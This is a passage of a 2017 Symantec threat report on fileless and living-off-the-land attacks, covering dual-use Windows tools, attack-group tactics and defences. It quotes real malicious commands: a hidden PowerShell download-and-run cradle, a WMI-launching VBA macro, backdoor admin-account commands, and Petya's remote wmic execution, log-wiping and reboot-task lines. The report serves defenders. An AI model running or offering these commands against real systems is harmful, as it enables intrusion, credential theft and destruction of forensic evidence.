Decoded and cleaned up, the following PowerShell command line
will get executed when the user hovers over the link:
powershell -NoP -NonI -W Hidden -Exec Bypass
“IEX (New-Object System.Net.WebClient).DownloadFile(‘[REMOVED]’,’$env:temp\ii.jse’);
Invoke-Item \“$env:temp\ii.jse\””
In November 2016, Symantec observed a large wave of W97M.
Downloader being distributed through spam email. The attached
document comprised a macro, which when executed invokes
the WMI service to spawn a hidden instance of powershell.
exe and downloads yet another PowerShell script. The second script contains a shellcode payload which performs a number
of checks to identify virtual environments and interesting victim
computers. In the end the PowerShell script drops and executes the financial Trojan Trojan.Pandemiya.An extract of the malicious macro that starts the PowerShell script through WMI looks like this:
Sub AutoOpen()
[REMOVED]Set objWMIService = GetObject(“winmgmts:\\” &
strComputer & “\root\cimv2”)
[REMOVED]objProcess.Create o & “ -ExecutionPolicy Bypass
-WindowStyle Hidden -noprofile -noexit -c if
([IntPtr]::size -eq 4) {(new-oabject Net.Webclient.
DownloadString(“ & [REMOVED]
End Sub
Outside of documents, scripts can also be sent on their own, often
inside an archive like a zip file. Script files can be triggered by
various extension such as LNK, SCT, and HTA files. The final script
could also be stored on a remote server or cloud storage host to harden detection even further.
Looking at Symantec’s messaging protection telemetry, we
observed the following file types directly, or inside archives, during
the six-month period between January and June 2017. The file type used in attacks fluctuates considerably.
Figure 6. Top 7 malicious file types seen in email,
January-May 2017
10203040506070%
JUN MAY APR MAR FEB JAN
2017Doc Exe Javascript HTML Jar VBS RTF
The non-PE file is typically distributed as an attachment in an
email or on a website where social engineering is used to trick
the user into opening the file. We have also seen scripts in self
extracting archives or installer files. It’s the usual cat-and-mouse game between attacker and defender, as soon as one file extension
gets blocked attackers try to come up with another tactic. For
example, in February 2017 Google began blocking .js files in Gmail but this did not have a significant effect on the number of
malicious JavaScript file detections.Defining fileless attack methodsBack to Table of ContentsPage 15
02Living off the land and
fileless attack techniques
July 2017
Figure 7. Monthly detections of script downloaders
100,000200,000300,000400,000500,000600,000700,000800,000
DEC NOV OCT SEP AUG JUL JUN MAY APR MAR FEB JANJS.Downloader W97M.Downloader
PowerShell scripts are currently very common. With ready available
toolkits such as Empire or PowerSploit it is easy to create and use such scripts during attacks. If you want to know more about script
attacks, then we advise you to read our white paper on PowerShell
threats or the Internet Security Threat Report (ISTR) which detail the increase of script downloaders and the use of malicious macros.
Dual-use tools
System tools and clean applications can also be used for more nefarious purposes by attackers and, as such, can be referred to
as dual-use tools. Dual-use tools are tools that can be used by an
attacker to perform action that lead to their end goal.
For example, the two clean commands below create a new user
and add it to the administrator group, if executed with the right
permissions. These commands can be considered dual-use as
they can be used by system administrators for legitimate reasons but can also be used by an attacker as a backdoor, especially when
the RDP service is enabled as well.
|net user /add [username] [password]
|net localgroup administrators [username] /add
It should be noted that most system tools can be used in an unin-tended way. For example, notepad.exe could be used to overwrite
all files on disk, making it a destructive Trojan. However, we will focus on the more obvious tools.
When attackers download additional tools they can be legitimate,
such as Microsoft’s PsExec , which is not present on most systems
by default, or more on the grey side like credential dumper tools
such as mimikatz or wce, which should not appear under normal circumstances on a user’s computer. Therefore the dual-use tool
type of attack does not always follow the living off the land meth-
odology, which does not involve downloading additional binary files to disk. To utilize the system tools, the attacker usually needs to pass specific arguments to the tool. This can be achieved on the command line when launching the tool, for example after gaining
a remote command shell access. We have seen targeted attack
groups, such as Trojan.Taidoor , connect to the compromised
system and then manually issue command after command,
including typos. Another method involves the use of batch script
files with all commands predefined. The output of the commands is often redirected into a text file so that it can be harvested later.
Such batch files are ordinary files and can be detected, if they are
unique enough.
The following are examples of system tools executed by the
Appleworm/Lazarus group:
|query user >> %s
|net view /domain >> %s
|tasklist /svc >> %s
The obvious advantage for the attacker is that there are only clean legitimate tools executed. This can bypass most application
whitelisting approaches as well as some security tools. The key is
in the command line arguments and how the tools are used as this can be the difference between being categorized as normal usage
or malicious. In order to be able to monitor this, extended logging
must be enabled, if available. Symantec’s behavioral detection engine can track the behavior of any executed tool and link the
various activity together.
To give you another example to illustrate why clean tools might
bypass file scanning solutions, take the following incident which was observed during an investigation for a client. On the compro-
mised computer was a clean piece of software that company
employees had not installed themselves. This software was also referenced in a registry run key. The interesting part was that the
registry value also contained a very long argument string that was
passed to the software. It turned out, that the software in question was an outdated version with a known buffer overflow vulnerability.
The argument in the registry key was exploiting this vulnerabili-
ty and passing shellcode in the argument. This lead to the threat getting executed in memory every time the system was restarted.
The attackers did not need to find the exploit themselves, they just
needed the unpatched software package. The same method can be applied inside an installer package post-installation script.
Clean tools are also often misused for DLL Hijacking attacks, which
involve dropping a clean application and a malicious DLL. Due to the
order in which Windows searches for a required DLL, a malicious DLL in the same directory will be found first, instead of loading the
legitimate one from the Windows system directory. This is normal Defining fileless attack methodsBack to Table of ContentsPage 16
02Living off the land and
fileless attack techniques
July 2017
behavior for Windows and was, for example, misused by Trojan.
Ratopak to attack several Russian banks and also by the Deep
Panda attack group. A similar method is DLL side loading, which
makes use of the WinSxS directory, which can contain multiple versions of various DLLs. At runtime the DLL loader will consult
the manifest file and decide which DLL an application needs. An
attacker can drop a malicious DLL with a suitable name in this folder and have it loaded by a clean application in order to run the
payload. Both of these methods involve dropping malicious DLL
files on disk, which can be detected by common means.
We can group dual-use tools into different categories based on the
purpose they are used for in targeted attacks.
Table 1. Dual-use tools, grouped by purpose
Type of internal
activityPurpose Dual-use tools
Internal network
reconnaissanceEnumerate information about a target environmentnet (net user, net start, net view), systeminfo, whoami, hostname, quser, ipconfig
Credential harvestingObtain legitimate user credentials to gain access to target systems for malicious purposesMimkatz, WCE, pwdump
Lateral movementGain deeper access into target networkRDP, PsExec, PowerShell
Data exfiltrationSend data back to attackersFTP, RAR, ZIP, iExplorer, PuTTY, PowerShell, rdpclip
Fallback backdoorEnables a backdoor
that can be used,
should the main
backdoor be removedNet User, RDP,
Telnet serverExample: Ransom.Petya
On June 27, 2017 a modified version of Ransom.Petya quickly
began infecting organizations primarily in Eastern Europe. The
ransomware was exhibiting wiper characteristics and immediately gained the attention of both security experts and the media, as it
was exploiting the SMB EternalBlue vulnerability just like Ransom.
WannaCry did one month earlier. However, in addition Petya
also made heavy use of system commands during the infection
process. To begin with, the threat came as a DLL that was executed
by rundll32.exe:
rundll32.exe perfc.dat, #1
Once executed, Petya drops a recompiled version of LSADump from Mimikatz in a 32-bit and 64-bit variant, which is used to
dump credentials from Windows memory. The account creden-
tials are then used to copy the threat to the Admin$ share of any computers the threat finds on the network. Once the threat
accesses a remote system it will execute itself remotely using a
dropped PsExec.exe and the WMI command line tool wmic.exe:
wmic.exe /node:[IP Address] /user:[USERNAME] /password:[PASSWORD] process call create “C:\
Windows\System32\rundll32.exe \”C:\Windows\perfc.
dat\” #1 60”
In order to hide its tracks on the compromised computer the threat deletes various system logs by using the wevtutil and
fsutil commands:
wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:
Petya then creates a scheduled task so that the computer restarts
into the modified MBR and performs the final encryption task:
schtasks /RU “SYSTEM” /Create /SC once /TN “” /TR
“C:\Windows\system32\shutdown.exe /r /f” /ST 14:42
This clearly shows how powerful system commands are and how they can be used during cyber attacks. Administrators should
consider disabling the remote execution of PsExec and WMI
commands, if possible in their environments.Defining fileless attack methodsBack to Table of ContentsPage 17
02Living off the land and
fileless attack techniques
July 2017
System configuration
With access to a compromised computer an attacker can modify
certain settings to foster further attacks or to have a fall back
backdoor should everything else be detected and removed. Most of this is achieved with the help of system tools.
A common, and low tech, method we have seen attackers use
to create a backdoor is adding a new user account and then
enabling RDP services so that the attacker can later connect back to the computer.
Attackers can also redirect network traffic by either setting a new
DNS server or adding malicious resolutions to the local hosts files.
Some financial Trojans change the DNS server and then remove themselves, leaving no traces apart from the changed DNS server.
Trojan.Zlob.Q uses a PowerShell script to change the NameServer
entry in the registry, stored under the following key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Tcpip\Parameters\Interfaces\
Since the hosts file has been misused frequently in the past, it is
very often monitored or even set as read only. However, similar
results can also be achieved by setting the proxy settings for the whole system or for the browser.
Yet another method is the Sticky Key attack, where local helper
tools like sethc.exe or utilman.exe are replaced with the command
prompt cmd.exe. An attacker with access to the login screen can hit the shift key multiple times, invoking the helper tool that
was replaced with cmd.exe, providing a command shell without
logging in. As an added bonus, this shell runs with elevated privi-leges and does not generate a login event in the log files. The same
can be achieved by adding cmd.exe as a debugger to the on-screen
keyboard through a registry key.
A variant of the W32.Kribz information stealer, also known as the
EyePyramid threat, was active at the beginning of 2017 in Italy.
After successful infection the threat lowers the security settings
of the compromised computer by disabling various security tools and enabling file shares for the local machine. In addition it will
disable User Account Control (UAC) and other logging function-
ality. For later spreading it enables macros in Microsoft Office by default and also allow scripts without restrictions. Furthermore it
attempts to create a local admin user and add it to the domain
administrator group in the Active Directory. These simple steps allow the attackers so spread further in the network without
raising any alarms and come back if they need to.
As these attacks simply modify computer settings they might be
difficult to detect with general rules. But a well-managed environ-ment can look out for any changes to these settings and raise the
alarm if modifications are detected.Hardware assisted attacks
There are also threats that use manipulated hardware devices to
change the behavior of a target system. In most cases they do not
drop files on the target system, so these attacks can be consid-ered fileless. It is the interaction with the system that results in
the unwanted behavior. Since these attacks use physical devices
such as USB keys, an attacker usually needs physical access to the target computer in order to implant the device, but the computer
does not have to be unlocked. This could happen in a hotel room or
during a lunch break at an office. Of course dropping devices in a parking lot or sending them as gifts through mail may work as well.
In the case of BadUSB, a modified USB device tricks the computer
into thinking it’s a USB ethernet adapter and adds malicious DNS
server settings to the system. Depending on the configuration this overwrites any other already set DNS settings. The attacker
can then perform man in the middle (MitM) attacks against the
re-routed network traffic.
Since 2012, USB HID attacks, which use programmable embedded
development platforms such as Teensy devices, have become
common. In these attacks the USB device emulates a human
interface device (HID) class, for example a keyboard, and then starts to automatically send key strokes to the target computer.
Such commands can then use any of the previously discussed
system tools to carry out an attack. As all this happens very fast, a user might not notice the attack until it is too late.
There are also various direct memory access (DMA) related
attacks, such as PCI leech or the Thunderbolt attack on Macs, as
well as complete bootkits like Thunderstrike. Attackers can step up to the next level of sophistication with firmware malware inside
devices or even the CPU itself. Such attacks are rare as they are not
easy to pull off, but they do happen as our colleagues at Kaspersky saw for themselves with firmware malware for hard drives used by
the Duqu 2 group.Internet Security Threat Report
Prevalence of
dual-use tools
03SectionPrevalence of dual-use toolsBack to Table of ContentsPage 19
03Living off the land and
fileless attack techniques
July 2017
Prevalence of dual-use tools
There are many clean system tools like ipconfig
which are executed many times for legitimate purposes but are also used for illegitimate purposes
by attackers. In addition, both pen testers and
criminals are increasingly making use of tools like the Windows Credentials Editor (WCE) that can dump passwords from memory. While a system
administrator may sometimes use these tools, it
is unlikely a regular user would have a legitimate reason to do so. Therefore, it is not always possible to determine whether a tool was used maliciously.
The most commonly used tool from a list from January 2017
(Table 2) was the system service tool sc.exe which was used on
2.7 percent of monitored computers. This was followed by remote
access tools like VNC, Ammyy, and Teamviewer which were used on approximately 2 percent of all monitored computers. It should
be noted that remote access tools are not malicious on their own,
but they can be used in a malicious context by the attacker.
Table 2 shows 35 dual-use tools and how often they were used on
computers. The list does not distinguish between malicious usage
and legitimate usage. Only four tools were seen used on more than
one percent of all analyzed computers, PowerShell is one of them.Table 2. Usage of dual-use tools, January 2017
Tool Usage count
sc.exe 2.7190%
vnc 2.1176%
net.exe 1.2733%
powershell.exe 1.0263%
ipconfig.exe 0.8227%
netsh.exe 0.7526%
teamviewer.exe 0.6224%
tasklist.exe 0.4963%
rdpclip.exe 0.3226%
rar.exe 0.3139%
wmic.exe 0.3027%
find.exe 0.2767%
curl.exe 0.2027%
netstat.exe 0.1938%
systeminfo.exe 0.1641%
wget.exe 0.1208%
nc.exe 0.1174%
gpresult.exe 0.1147%
whoami.exe 0.1109%
ammyy.exe 0.1061%
query.exe 0.0869%
sdelete.exe 0.0190%
psexec.exe 0.0070%
csvde.exe 0.0051%
dumpel.exe 0.0040%
lazagne.exe 0.0018%
pwdump 0.0012%
dumpsec.exe 0.0008%
netcat.exe 0.0006%
mimikatz.exe 0.0003%
wce.exe 0.0001%
cachedump.exe <0.0001%
bruter.exe <0.0001%
gsecdump.exe <0.0001%
winscanx.exe <0.0001%Prevalence of dual-use toolsBack to Table of ContentsPage 20
03Living off the land and
fileless attack techniques
July 2017
The number of mimikatz.exe occurrences might seem quite low on
this list, despite that fact that it currently a very common tool used
by criminals for obtaining credentials. The reason for this is that at
the moment the preferred method is to download Mimikatz with PowerShell directly into memory and execute it from there. Direct
memory executions are not counted in Table 2. In addition, there
are many modified versions of Mimikatz used which are caught under generic names by heuristics.
There are some dual-use tools that are frequently used together.
For example, a lateral movement tool is often preceded by a
credential dump tool in order to get the required password. However, there is no clear favorite combination used by cyber
criminals. This might be because there are many tools that can
achieve similar things, making the number of combination possi-bilities quite large. Figure 8 shows the occurrences of PsExec and
either Mimikatz or WCE, which indicate only a slight correlation.
Figure 8. PsExec and Mimikatz plus WCE usage
200,000400,000600,000800,0001,000,000
M A MF JAN
2017D N O S A J J M A MF JAN
2016psexec.exe Mimikatz or wce
There can be huge fluctuation in the usage of system tools and
there are many reasons for this. A company might decide to use a
different method to administrate its systems, it might install a new
software application that makes use of different system tools, or it may use its regular tools more frequently due to a new roll out. The
usage percentage for attackers depends more on the mitigation
practices that are in place and if a given method is still effective.
Figure 9. Usage of dual-use tools in 2017
1,00010,000100,0001,000,00010,000,000100,000,000
May April March February Januarynetsh.exe net.exe gpresult.exe powershell.exe tasklist.exe wmic.exeLogarithmic Scale
If we look at classical malware then mainly non-PE file attacks are
used during the attack vector. Once the payload is dropped it is still less than 10 percent that make use of advanced fileless tech-
niques. From all malware submitted to our sandbox in 2016 only
an average of two percent misused WMI. A jump to five percent corresponds with an increase of WMI usage inside of malicious
macros to execute the payload. For targeted attacks the numbers
are much higher as we will see in the next chapter.
Figure 10. Percentage of malware using WMI
0.51.01.52.02.53.03.54.04.55.05.56.0%
D N O S A J J M A M F J
2016Internet Security Threat Report
Dual-use tools in
targeted attacks
04SectionDual-use tools in targeted attacksBack to Table of ContentsPage 22
04Living off the land and
fileless attack techniques
July 2017
Dual-use tools in targeted attacks
The living off the land techniques are not just popular
with cyber criminals but also with targeted attack groups, as fileless attacks are harder to detect
and leave less traces for forensic analysis or for
attribution. Thanks to these characteristics nearly all targeted attack groups have used fileless malware techniques at one point or another by now. However,
this isn’t a new development, for example the Taidoor
group in 2011 relied heavily on system tools to explore newly compromised systems. But we are also seeing more recent examples such as the attack
against the Democratic National Committee (DNC)
in 2016, which made use of PowerShell for lateral movement and discovery and used a WMI fileless
persistence method. And the Calcium/Fin7 group
uses PowerShell payloads and recently attacked restaurants with an RTF document containing JavaScript. The first stage script extracts another
script into randomly named files on disk and creates
a scheduled task to start it a minute later. This is probably done in an attempt to confuse behavior tracing tools. The script then creates a PowerShell
script, which in turn runs yet another PowerShell
command to fetch a Meterpreter payload and run it in memory. The new technique used by this variant is that the script downloads the shellcode
through DNS requests to make it even stealthier.
Table 3 is an overview of 10 targeted attack groups and the
different dual-use tools they used during at least one of their
attacks. It is also interesting that all 10 groups still deployed
custom tools for some of the attack phases. Depending on their target environment, attackers may change their tactics and rely
more or less on dual-use tools.
Table 3. Some of the typical tools used by attack groups
Group name Reconnaissance Credential harvesting Lateral movement Custom built tools
Tick whoami, procdump, VBS WCE, Mimikatz, gsecdump PsExec Yes
Waterbug systeminfo, net, tasklist, gpresult,… WCE, pwdump Open shares Yes
Suckfly tcpscan, smbscan WCE, gsecdump, credentialdumper – Yes
Fritillary PowerShell, sdelete Mimikatz, Powershell PsExec Yes
Destroyer Disk usage, event log viewer kerberos manipulator PsExec, curl, VNC Yes
Chafer network scanner, SMB bruteforcer WCE, Mimikatz, gsecdump,… PsExec Yes
Greenbug Broutlook WCE, gsecdump, browdump, … TeamViewer, PuTTY Yes
Buckeye os info, user info, smb enumerator,… pwdump, Lazagne, chromedump,… Open shares Yes
Billbugver, net, gpresult, systeminfo,
ipconfig, …– custom backdoor Yes
Appleworm net, netsh, query, Telnet, find, … dumping SAM, RDP bruteforcer, RDclipYesDual-use tools in targeted attacksBack to Table of ContentsPage 23
04Living off the land and
fileless attack techniques
July 2017
Incursion phase
Dual-use tools and living off the land tactics are widely used in
current attack vectors. While the vector of a document with
malicious macros or embedded payload, as well as script files, are omnipresent, dual use tools are also used by attackers. For
example the SamSam group, who attacked organizations to
implant ransomware, made use of PsExec and RDP to compromise targets. By brute forcing the passwords of accounts they were able
to infiltrate the networks. In addition they also attacked JBoss
webservers with the pen tester tool JexBoss.
Discovery phase
Various system tools may be used, especially during the infor-
mation gathering phase of an attack. This makes sense as there is no need to program the same functionality into the attacker’s
malware. Some groups simply call the system functions from
within their tools. With the increased use of PowerShell as an attack framework, we have seen a growing number of groups
using the PowerShell command equivalent to get the same infor-
mation within the scripts. Once the environmental information is gathered and analyzed the attackers may decide to deploy the
suitable payload or remove itself completely if they think that it’s
not a real target system or not one of interest.
Table 4. Examples of system tools used for
information gathering
Group: Waterbug/Turla
• systeminfo
• net view
• net view /domain
• tasklist /v
• gpresult /z
• netstat -nao
• ipconfig /all
• arp –a
• net share
• net use
• net user administrator
• net user /domain
• net user administrator /domain
• tasklist /fi
• dir %systemdrive%\Users\*.*
• dir %userprofile%\AppData\Roaming\Microsoft\Windows\
Recent\*.*
• dir %userprofile%\Desktop\*.*Group: Appleworm/Lazarus
• hostname
• whoami
• ver
• ipconfig -all
• ping www.google.com
• query user
• net user
• net view
• net view /domain
• reg query \"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\"
• tasklist /svc
• netstat -ano | find \TCP\
• msdtc [IP] [port]
Group: Billbug
• net user
• ipconfig /all
• net start
• systeminfo
• gpresult
Group: Taidoor
• cmd /c net start
• cmd /c dir c:\docume~1\
• cmd /c dir “c:\docume~1\<CurrentUser>\recent” /od
• cmd /c dir c:\progra~1\
• cmd /c dir "c:\docume~1\<CurrentUser>\desktop" /od
• cmd /c netstat –n
• cmd /c net use
Lateral movement phase
In some cases administrative software packages are misused.
The group behind Trojan.Jokra hijacked the legitimate patch and
security update process within one of the compromised targets. Piggybacking on this system allowed the attacker to quickly distrib-
ute their payload to almost all computers in the target organization.
Another example of an attack group misusing pre-existing
software is the Butterfly group. This targeted attack group took advantage of internal systems to spread through a network once
they gained initial access. In one instance, the attackers used a
Citrix profile management application to create a backdoor on a Dual-use tools in targeted attacksBack to Table of ContentsPage 24
04Living off the land and
fileless attack techniques
July 2017
newly infected system. This application can be used to install other
applications or manage a user’s profile for authentication. It’s
likely that the attackers took advantage of this system and placed
the backdoor in a specific profile, which was triggered when the profile’s owner logged in. In the second incident, the TeamView-
er application was used to create copies of Backdoor.Jiripbot on
compromised computers. TeamViewer was legitimately present on the computers and was taken advantage of by the attackers.
Of course targeted attackers are not solely reliant on preinstalled
system tools. In most cases they will download and drop addition-
al tools as well, sometimes greyware tools, to help with lateral movement. In order to remain stealthy, these tools can be down-
loaded to memory and executed without touching the hard disk.
Many tools, such as PsExec or Netcat, are not malicious but can be
used in a malicious context. For example, the Odinaff group used the dual-use tools listed in Table 5 during its attacks. With Mimikatz
the attackers were able to dump user passwords from memory. The
network scanner allowed the group to identify other computers in the same local network. The dumped credentials were then used
with PsExec or PowerShell to start a new process on one of the iden-
tified remote computers. Once the backdoor or the remote access tools are installed on the new target, a simple takeover is completed
and the cycle can start from the beginning again.
Table 5. List of dual-use tools used by the Odinaff
attack group
Tool: Description:
MimikatzA popular open source credential
recovery tool
PsExecA Sysinternals tool form Microsoft, that allows to run processes on local and remote computers
NetscanA network scanning tool, to find
other targets
Ammyy Admin A legitimate remote access tool
RunAsA systemtool for running processes
as another user
PowerShellThe popular scripting framework that can be used for nearly anything, including lateral movement
Backdoor.Gussdoor A simple backdoor TrojanExfiltration phase
System tools can also be used to exfiltrate any gathered informa-
tion during an attack. First the data needs to be found, gathered,
and prepared for its journey. For example, the Seaduke attack group used the common WinRAR archiving tool with a 110
character long password to protect the stolen documents. The data
can then be sent to a remote drop server with common tools like FTP, winSCP, Curl, or Wget. The archive file can also be posted to a
website using a preinstalled web browser. A HTTP GET request and
passing encoded information as part of a URL argument has also been observed. The Fritillary/Cozy Bear group made extensive use
of public cloud services such as Twitter and GitHub for command
and control communication and data exfiltration. Hiding stolen data inside legitimate cloud services is a common tactic as many
companies have no methods of analyzing such traffic. Depending
on the environment, such communication may blend in with normal traffic and raise less attention than, for example, a sudden
connection to a TOR server.Internet Security Threat Report
Conclusion
05SectionConclusionBack to Table of ContentsPage 26
05Living off the land and
fileless attack techniques
July 2017
Conclusion
Using fileless attack techniques and malicious scripts
is an obvious choice for attackers, one which is made easier by various, widely available tools. So it’s no
surprise that many cyber criminals and targeted
attack groups have embraced living off the land tactics. Symantec expects this trend to continue.
Attackers are relying on existing tools to blend in with everyday
system work and not raise additional alarms. Misusing clean
system tools can bypass many protection mitigations like applica-
tion whitelisting. It is very common to steal credentials and misuse them for lateral movement inside a network. Also, any scripts
used in attacks can be obfuscated by trivial techniques making
them as good as invisible to traditional static signature detection methods. For the attackers, scripts bear the advantage that they
can be updated and adapted quickly without a huge develop-
ment cycle, making them more flexible and individually tailored for their environmental purpose. These points combined lead to
many traditional security solutions having issues reliably blocking
fileless attack techniques.
Sandboxes are often not configured to handle script attacks and
may let them pass through unblocked. One of the best methods
for detection is a combination of memory scanning with heuristics
and behavior based detection which also monitors system tools. We have seen attackers trying to hinder behavioral detection by
splitting the code into multiple modules and distributing it over
multiple command calls in order to break a simple chain of events. However, Symantec’s behavioral detection engine cannot be
bypassed that easily. Fileless or dual-use tool attacks either use
a remote code execution (RCE) vulnerability, stolen or guessed credentials, or a non-PE file like a script during the initial incursion
phase. Hence they can be detected at the incursion phase before
any further damage can be done.
The increasing use of living off the land tactics means sharing
indicators of compromise (IoC) is becoming more difficult, as
sharing file hashes for system tools is useless and scripts are often
polymorphic. Instead, techniques and tactics need to be shared in order to be able to filter how these tools are used in context. Protection
Adopting a multilayered approach to security minimizes the chance of infection. Symantec suggests a strategy that protects
against malware in three stages:
01 Prevent: Block the incursion or infection and prevent the
damage from occurring.
02 Contain: Limit the spread of an attack in the event of a suc -
cessful infection.
03 Respond: Have an incident response process, learn from the
attack, and improve the defenses.
Preventing infection is by far the best outcome so it pays to pay
attention to how infection can be prevented. Email and infected websites are the most common infection vectors for malware.
Adopting a robust defense against both of these infection vectors
will help reduce the risk of infection.
Symantec solutions use multiple security technologies to defend
against file-less attacks including: endpoint security, endpoint
detection and response, email security, and network security.
Endpoint Security
|Multilayered Security Engines
To protect endpoints against cyber attacks, Symantec Endpoint
Protection (SEP) uses an array of security engines including:
advanced machine learning, memory exploit mitigation,
reputation analysis, behavior monitoring, emulator, firewall, intrusion prevention, just-in-time memory scanning, and more.
This combination of file-less and file-based protection blocks
sophisticated threats (including ones executed directly from memory) at various layers and on multiple devices, including
both traditional and modern endpoints. In addition, Symantec’s
real-time behavior-based protection blocks malware and potentially malicious applications from running on the computer,
all without requiring any specific signatures. Symantec’s
endpoint security can also detect malicious usage of dual-use tools, common to lateral movement, and block them.
|Deception
Symantec Endpoint Protection includes deception technol-ogy that uses baits to expose hidden adversaries and reveal
attacker intent, tactics, and targets. The adversarial intel-
ligence can be used to modify security policies and improve security posture. Symantec Endpoint Protection Mobile (SEP
Mobile) also uses a patented Active Honeypot technology
which uses deception to protect against man-in-the-middle attacks on iOS and Android devices. ConclusionBack to Table of ContentsPage 27
05Living off the land and
fileless attack techniques
July 2017
|System Hardening
Symantec Endpoint Protection contains application & device
control capabilities that can be used to harden a system. SEP
also provides memory exploit mitigation that can protect
against typical exploit techniques with an exploit agnostic approach. Also, Symantec offers application isolation technol-
ogy via its SEP Hardening product. It automatically discovers
and classifies applications and respective vulnerabilities with a risk score. This information is used to shield commonly used
applications and isolate suspicious applications to prevent
vulnerability exploits and malicious activity.
From a server perspective, Symantec Data Center Security can
secure physical and virtual servers and monitor the compli-
ance posture of server systems for on-premise, public, and
private cloud data centers.
Endpoint Detection and Response (EDR)
|EDR in Symantec Endpoint Protection (SEP)
Symantec Endpoint Detection and Response (EDR) gives investigators the tools to expose, contain, and resolve
breaches resulting from advanced attacks. Symantec’s EDR
solution, ATP: Endpoint, exposes advanced attacks with precision machine learning, behavioral analytics, and threat
intelligence, minimizing false positives and helping to ensure
high levels of productivity for security teams.
Symantec’s EDR capabilities allow incident responders to
quickly search, identify, and contain impacted endpoints while
investigating threats using on-premises and cloud- based
sandboxing. In addition, continuous recording of system activity supports full endpoint visibility and real-time queries.
Additionally, Symantec’s integrated EDR capabilities ensure
breach resolution by deleting malware and associated artifacts from impacted endpoints, all from a single agent and console.
SEP Mobile also uses the Mobile EDR functionality to protect
against both known and unknown vulnerability exploits.
|EDR for Non-SEP Environments
Symantec Endpoint Detection and Response (EDR) Cloud is a unique solution that delivers in-depth threat visibility and
breach response across the entire enterprise. Symantec EDR
Cloud can be deployed in minutes and helps to strengthen a
firm’s security posture against cyber attacks. Symantec EDR
Cloud enhances investigator productivity with extensive rules and user behavior analytics that bring the skills and best
practices of the most experienced security analysts to any
organization, resulting in significantly lower costs without the overhead of an additional agent. |SEP Mobile
SEP Mobile offers mobile threat defense. It uses Mobile Network Access Control (mNAC) to automatically secure
connections on suspicious public Wi-Fi networks, stop commu-
nication to and from malicious command and control centers, and automatically disconnect high-risk mobile devices from
corporate networks. It also uses a patented Active Honeypot
technology which uses deception to protect against man-in-the-middle attacks on iOS and Android devices.
Email Security Symantec prevents fileless attacks both in the cloud and on-prem-ises through Symantec Cloud Email Security and Symantec
Messaging Gateway. The Symantec Cloud Email Security solution
is a cloud-based solution that blocks fileless threats distributed over email with multilayered defense. Behavioral analysis iden-
tifies malicious scripts hidden inside documents by using file
decomposition techniques to detect and extract scripts hiding in email attachments. For instance, it can identify a fileless attack
that hides a malicious script in a PDF document, even if the PDF
is inside another file such as a ZIP file. Symantec Cloud Email Security also uses link protection technologies to block malicious
URLs in the body of an email or inside an attachment. It evaluates
suspicious URLs in real-time, first when emails are delivered and again when URLs are clicked by users. On-premises email security
via Symantec Messaging Gateway can also protect computers
from fileless attacks through content disarming technology that removes malicious scripts and other active content from email
attachments before they even reach users.
Network Security
Either on the endpoint with Symantec’s Endpoint Protection built
in firewall and IPS solution or in the network with the Secure Web
Gateway and Content Analysis, monitoring and blocking malicious traffic entering or leaving a system can help minimize impacts of
attacks. Suspicious content can be automatically analyzed through
multiple layers of inspection and ultimately on sandboxes.
Content Analysis inspects files to detect malicious content using
hash reputation from custom white and blacklists, Symantec’s
Advanced Machine Learning and dual antivirus/antimalware
engines. If unknown content still remains after those layers of inspection, built-in or cloud sandboxing performs actual file
detonation to determine the true nature of the file. This sandbox
technology has the capability to analyze and block malicious content. It monitors the usage of system services such as BITS,
WMI, or COM objects as well as various memory injection tech-
niques. It can work its way through multiple layer of obfuscation and detect suspicious behavior, including various script languages. ConclusionBack to Table of ContentsPage 28
05Living off the land and
fileless attack techniques
July 2017
SEP Mobile uses Mobile Network Access Control (mNAC) to auto-
matically secure connections on suspicious public Wi-Fi networks,
stop communication to and from malicious command and control
centers, and automatically disconnect high-risk mobile devices from corporate networks.
Visibility
Gain visibility into your IT infrastructure and prepare for swift incident response with Symantec’s network forensics solution,
Security Analytics. Like a security camera or DVR for your network,
it delivers enriched, full-packet capture for full network security visibility, advanced network forensics, anomaly detection, and
real-time content inspection for all network traffic. Armed with
this detailed record, you can conduct forensic investigations, respond quickly to incidents, and resolve breaches in a fraction of
the time you would spend with conventional processes.
Use the advanced threat protection (ATP) product range to uncover
advanced threats across endpoint, network, email, and web traffic and hunt for indicators of compromise (IoC) with Dynamic
Adversary Intelligence on both traditional and modern endpoints. Best Practice
In addition, users are advised to follow these steps to ensure best
possible security:
|Monitor the usage of dual-use tools inside your network
|Use application whitelisting where applicable
|Enable better logging, if available, and process the
information
|Exercise caution when receiving unsolicited, unexpected, or
suspicious emails
|Be wary of Microsoft Office attachments that prompt users
to enable macros
|Keep security software and operating systems up to date
|Enable advanced account security features, like 2FA and
login notification, if available
|Use strong passwords for all your accounts
|Always log out of your session when done
|Avoid conducting activities such as using apps that transmit
sensitive information or logging into online accounts if using
untrusted Wi-Fi networks
|Only download mobile apps from official app stores.
Third-party app stores are more likely to contain malware About Symantec
Symantec Corporation (NASDAQ: SYMC), the world’s leading
cyber security company, helps businesses, governments and
people secure their most important data wherever it lives.
Organizations across the world look to Symantec for strategic, integrated solutions to defend against sophisticated attacks
across endpoints, cloud and infrastructure.
Likewise, a global community of more than 50 million people
and families rely on Symantec’s Norton suite of products for
protection at home and across all of their devices. Symantec operates one of the world’s largest civilian cyber intelligence
networks, allowing it to see and protect against the most
advanced threats.
More Information
Symantec Worldwide: http://www.symantec.com
ISTR and Symantec Intelligence Resources: https://www.symantec.com/security-center/threat-reportSymantec Security Center: https://www.symantec.com/security-center
Norton Security Center: https://us.norton.com/security-center
|
Internet Security Threat ReportISTR
July 2017
Contents
Executive summary
and Key findingsRansomware: An overviewA new breed of threat:
WannaCry and Petya
Businesses in the
crosshairs
Affecting the bottom line:
Impact of ransomware
How ransomware is spreadMajor ransomware threatsProtection and best
practicesRansomware 2017
An ISTR Special Report
Analyst: Dick O’BrienInternet Security Threat Report
Contents
Figures and Tables
6 Ransomware infections by year
6 Ransomware infections by month
6 Impact of WannaCry and Petya outbreaks
on monthly infection rate
6 Monthly ransomware infection numbers without WannaCry and Petya
6 New ransomware families by year
7 Ransomware detections by region, 2016
7 Ransomware detections by region, 2017 (to date)
7 New ransomware variants by year
7 New ransomware variants by month
9 Number of EternalBlue exploit attempts
blocked by Symantec per hour
11 Petya infection numbers on June 27 2017, with Ukraine the most heavily affected country
